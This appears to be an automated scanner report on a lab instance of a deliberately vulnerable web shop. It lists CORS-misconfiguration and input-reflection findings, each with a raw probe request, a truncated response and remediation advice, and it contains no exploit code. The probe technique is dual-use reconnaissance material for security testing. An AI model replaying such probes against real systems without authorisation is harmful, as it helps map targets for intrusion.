X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Content-Length: 79

ETag: W/"4f-A9cDEtpEzT6JnkI+PNKU111rEEk"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:18:51 GMT

Connection: close



{"continueCode":"k78OoygKDLrVRwN4jxz2l3d1NUbT3igaHkWSEJGqZMYe6anmE9v1bQ5WJBXP"}




[bookmark: 2230734479163724800]
Cross-origin resource sharing: arbitrary origin trusted


/rest/languages

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://wgihwabwqyar.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/languages HTTP/1.1

Host: 192.168.186.128:3000

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://wgihwabwqyar.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

ETag: W/"11ad-TJkT3i/P3LSnNL8jWkn9DoCXGvE"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:15:13 GMT

Connection: close

Content-Length: 4525



[{"key":"az_AZ","lang":"AzÉ�rbaycanca","icons":["az"],"shortKey":"AZ","percentage":91.58653846153845,"gauge":"full"},{"key":"id_ID","lang":"Bahasa Indonesia","icons":["id"],"shortKey":"ID","percentageSnip





[bookmark: 7097049591413555200]
Cross-origin resource sharing: arbitrary origin trusted


/rest/memories/

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://qkejrdsrsbyx.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/memories/ HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://qkejrdsrsbyx.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

ETag: W/"bb2-9E1L4LRWoh3n4KD82E1u0hpAqnw"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:21:39 GMT

Connection: close

Content-Length: 2994



{"status":"success","data":[{"UserId":13,"id":1,"caption":"ð��¼ #zatschi #whoneedsfourlegs","imagePath":"assets/public/images/uploads/ð��¼-#zatschi-#whoneedsfourlegs-1572600969477.jpg","createdAt":"20Snip





[bookmark: 3467870737911955456]
Cross-origin resource sharing: arbitrary origin trusted


/rest/products/search

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://ryvfceaqxrrt.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/products/search?q= HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://ryvfceaqxrrt.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

ETag: W/"325f-ZrLJwv10xksEb4BSWSdcv//zz0U"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 20:55:11 GMT

Connection: close

Content-Length: 12895



{"status":"success","data":[{"id":1,"name":"Apple Juice (1000ml)","description":"The all-time classic.","price":1.99,"deluxePrice":0.99,"image":"apple_juice.jpg","createdAt":"2022-07-22 15:18:52.174 +Snip





[bookmark: 8201885864850267136]
Cross-origin resource sharing: arbitrary origin trusted


/rest/user/whoami

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://ohivxctfziri.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /rest/user/whoami HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://ohivxctfziri.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Content-Length: 11

ETag: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 20:27:09 GMT

Connection: close



{"user":{}}




[bookmark: 204370853141161984]
Cross-origin resource sharing: arbitrary origin trusted


/robots.txt

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://qwlushddjqyd.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /robots.txt HTTP/1.1

Host: 192.168.186.128:3000

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://qwlushddjqyd.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/plain; charset=utf-8

Content-Length: 28

ETag: W/"1c-8HgF6mNyhsSFK0pascC9uB0wjX0"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:16:47 GMT

Connection: close



User-agent: *
Disallow: /ftp




[bookmark: 5324174529833892864]
Cross-origin resource sharing: arbitrary origin trusted


/snippets

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://slfswkzjjcbt.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /snippets HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Origin: http://slfswkzjjcbt.com





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Content-Length: 683

ETag: W/"2ab-Re576tP7Z9svILzXlrVfeePIUt8"

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:39:05 GMT

Connection: close



{"challenges":["directoryListingChallenge","accessLogDisclosureChallenge","resetPasswordMortyChallenge","changeProductChallenge","registerAdminChallenge","exposedMetricsChallenge","loginAdminChallengeSnip





[bookmark: 2158305892030287872]
Cross-origin resource sharing: arbitrary origin trusted


/tutorial.js

Issue detail:



The application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.

The application allowed access from the requested origin http://gqwyysenjuqj.com

If the application relies on network firewalls or other IP-based access controls, this policy is likely to present a security risk.

Since the Vary: Origin header was not present in the response, reverse proxies and intermediate servers may cache it. This may enable an attacker to carry out cache poisoning attacks.




Issue background




An HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.


Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.


If the site  specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to  bypass any IP-based access controls by proxying through users'  browsers.






Issue remediation




Rather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.





References




  		Web Security Academy: Cross-origin resource sharing (CORS)


  		 Exploiting CORS Misconfigurations 








Vulnerability classifications




		CWE-942: Overly Permissive Cross-domain Whitelist








Request:


GET /tutorial.js HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Origin: http://gqwyysenjuqj.com

Accept: */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Accept-Ranges: bytes

Cache-Control: public, max-age=0

Last-Modified: Mon, 04 Jul 2022 15:23:50 GMT

ETag: W/"72bd-181c9cf8770"

Content-Type: application/javascript; charset=UTF-8

Vary: Accept-Encoding

Date: Sat, 23 Jul 2022 01:00:52 GMT

Connection: close

Content-Length: 29373



"use strict";(self.webpackChunkfrontend=self.webpackChunkfrontend||[]).push([[648],{3907:(ie,j,S)=>{S.r(j),S.d(j,{hasInstructions:()=>re,startHackingInstructorFor:()=>ne});var l=S(5861),O={"":["<em>",Snip











[bookmark: 1323019169585387520]
Input returned in response (reflected)


/ftp/quarantine/juicy_malware_linux_amd_64.url

Issue detail:



The value of the URL path filename is copied into the application's response.




Issue background




Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing. 





Vulnerability classifications




		CWE-20: Improper Input Validation


		CWE-116: Improper Encoding or Escaping of Output








Request:


GET /ftp/quarantine/juicy_malware_linux_amd_64.urlxeh8fqtk1s HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/quarantine

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0





Response:


HTTP/1.1 404 Not Found

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:53 GMT

Connection: close

Content-Length: 1116



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: ENOENT: no such file or directory, stat &#39;/juice-shop/ftp/quarantine/juicy_malware_linux_amd_64.urlxeh8fqtk1s&#39;</title>
    <style>*Snip
</em> Error: ENOENT: no such file or directory, stat &#39;/juice-shop/ftp/quarantine/juicy_malware_linux_amd_64.urlxeh8fqtk1s&#39;</h2>Snip





[bookmark: 8944739298454053888]
Input returned in response (reflected)


/ftp/quarantine/juicy_malware_linux_arm_64.url

Issue detail:



The value of the URL path filename is copied into the application's response.




Issue background




Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing. 





Vulnerability classifications




		CWE-20: Improper Input Validation


		CWE-116: Improper Encoding or Escaping of Output








Request:


GET /ftp/quarantine/juicy_malware_linux_arm_64.url07zwx32hf2 HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/quarantine

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0





Response:


HTTP/1.1 404 Not Found

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:55 GMT

Connection: close

Content-Length: 1116



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: ENOENT: no such file or directory, stat &#39;/juice-shop/ftp/quarantine/juicy_malware_linux_arm_64.url07zwx32hf2&#39;</title>
    <style>*Snip
</em> Error: ENOENT: no such file or directory, stat &#39;/juice-shop/ftp/quarantine/juicy_malware_linux_arm_64.url07zwx32hf2&#39;</h2>Snip





[bookmark: 1648210238437482496]
Input returned in response (reflected)


/ftp/quarantine/juicy_malware_macos_64.url

Issue detail:



The value of the URL path filename is copied into the application's response.




Issue background




Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing. 





Vulnerability classifications




		CWE-20: Improper Input Validation


		CWE-116: Improper Encoding or Escaping of Output








Request:


GET /ftp/quarantine/juicy_malware_macos_64.url6ol2ftuc2w HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/quarantine

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0





Response:


HTTP/1.1 404 Not Found

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:25:55 GMT

Connection: close

Content-Length: 1108



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: ENOENT: no such file or directory, stat &#39;/juice-shop/ftp/quarantine/juicy_malware_macos_64.url6ol2ftuc2w&#39;</title>
    <style>* {
 Snip
</em> Error: ENOENT: no such file or directory, stat &#39;/juice-shop/ftp/quarantine/juicy_malware_macos_64.url6ol2ftuc2w&#39;</h2>Snip





[bookmark: 1296594911806671872]
Input returned in response (reflected)


/ftp/quarantine/juicy_malware_windows_64.exe.url

Issue detail:



The value of the URL path filename is copied into the application's response.




Issue background




Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing. 





Vulnerability classifications




		CWE-20: Improper Input Validation


		CWE-116: Improper Encoding or Escaping of Output








Request:


GET /ftp/quarantine/juicy_malware_windows_64.exe.url3yg2srug65 HTTP/1.1

Host: 192.168.186.128:3000

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/ftp/quarantine

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0





Response:


HTTP/1.1 404 Not Found

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 17:26:03 GMT

Connection: close

Content-Length: 1120



<html>
  <head>
    <meta charset='utf-8'> 
    <title>Error: ENOENT: no such file or directory, stat &#39;/juice-shop/ftp/quarantine/juicy_malware_windows_64.exe.url3yg2srug65&#39;</title>
    <styleSnip
</em> Error: ENOENT: no such file or directory, stat &#39;/juice-shop/ftp/quarantine/juicy_malware_windows_64.exe.url3yg2srug65&#39;</h2>Snip





[bookmark: 7728165138893996032]
Input returned in response (reflected)


/redirect

Issue detail:



The value of the to request parameter is copied into the application's response.




Issue background




Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing. 





Vulnerability classifications




		CWE-20: Improper Input Validation


		CWE-116: Improper Encoding or Escaping of Output








Request:


GET /redirect?to=https%3a%2f%2fgithub.com%2fbkimminich%2fjuice-shopf6zxc4pevv HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Upgrade-Insecure-Requests: 1

Referer: http://192.168.186.128:3000/

Accept-Language: en-US;q=0.9,en;q=0.8

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0

Content-Length: 0





Response:


HTTP/1.1 302 Found

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Location: https://github.com/bkimminich/juice-shopf6zxc4pevv

Vary: Accept, Accept-Encoding

Content-Type: text/html; charset=utf-8

Content-Length: 144

Date: Fri, 22 Jul 2022 17:26:03 GMT

Connection: close



<p>Found. Redirecting to <a href="https://github.com/bkimminich/juice-shopf6zxc4pevv">https://github.com/bkimminich/juice-shopf6zxc4pevv</a></p>




[bookmark: 4087048517227209728]
Input returned in response (reflected)


/rest/admin/application-configuration

Issue detail:



The value of the URL path folder 2 is copied into the application's response.




Issue background




Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing. 





Vulnerability classifications




		CWE-20: Improper Input Validation


		CWE-116: Improper Encoding or Escaping of Output








Request:


GET /rest/adminmo03y8ok3c/application-configuration HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 500 Internal Server Error

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 18:16:07 GMT

Connection: close

Content-Length: 1908



{
  "error": {
    "message": "Unexpected path: /rest/adminmo03y8ok3c/application-configuration",
    "stack": "Error: Unexpected path: /rest/adminmo03y8ok3c/application-configuration\n    at /juice-shop/build/routes/angular.js:15:18\n    at Layer.handle [as handle_request] (/juice-shop/node_modules/express/lib/router/layer.js:95:5)\n    at trim_prefix (/jSnip





[bookmark: 1671462910122797056]
Input returned in response (reflected)


/rest/captcha/

Issue detail:



The value of the URL path folder 2 is copied into the application's response.




Issue background




Reflection of input arises when data is copied from a request and echoed into the application's immediate response.

Input being returned in application responses is not a vulnerability in its own right. However, it is a prerequisite for many client-side vulnerabilities, including cross-site scripting, open redirection, content spoofing, and response header injection. Additionally, some server-side vulnerabilities such as SQL injection are often easier to identify and exploit when input is returned in responses. In applications where input retrieval is rare and the environment is resistant to automated testing (for example, due to a web application firewall), it might be worth subjecting instances of it to focused manual testing. 





Vulnerability classifications




		CWE-20: Improper Input Validation


		CWE-116: Improper Encoding or Escaping of Output








Request:


GET /rest/captchavx65oq8eav/ HTTP/1.1

Host: 192.168.186.128:3000

Cookie: language=en

Accept: application/json, text/plain, */*

Referer: http://192.168.186.128:3000/

Accept-Encoding: gzip, deflate

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

Connection: close

Cache-Control: max-age=0





Response:


HTTP/1.1 500 Internal Server Error

Access-Control-Allow-Origin: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

Content-Type: application/json; charset=utf-8

Vary: Accept-Encoding

Date: Fri, 22 Jul 2022 19:24:24 GMT

Connection: close

Content-Length: 1862



{
  "error": {
    "message": "Unexpected path: /rest/captchavx65oq8eav/",
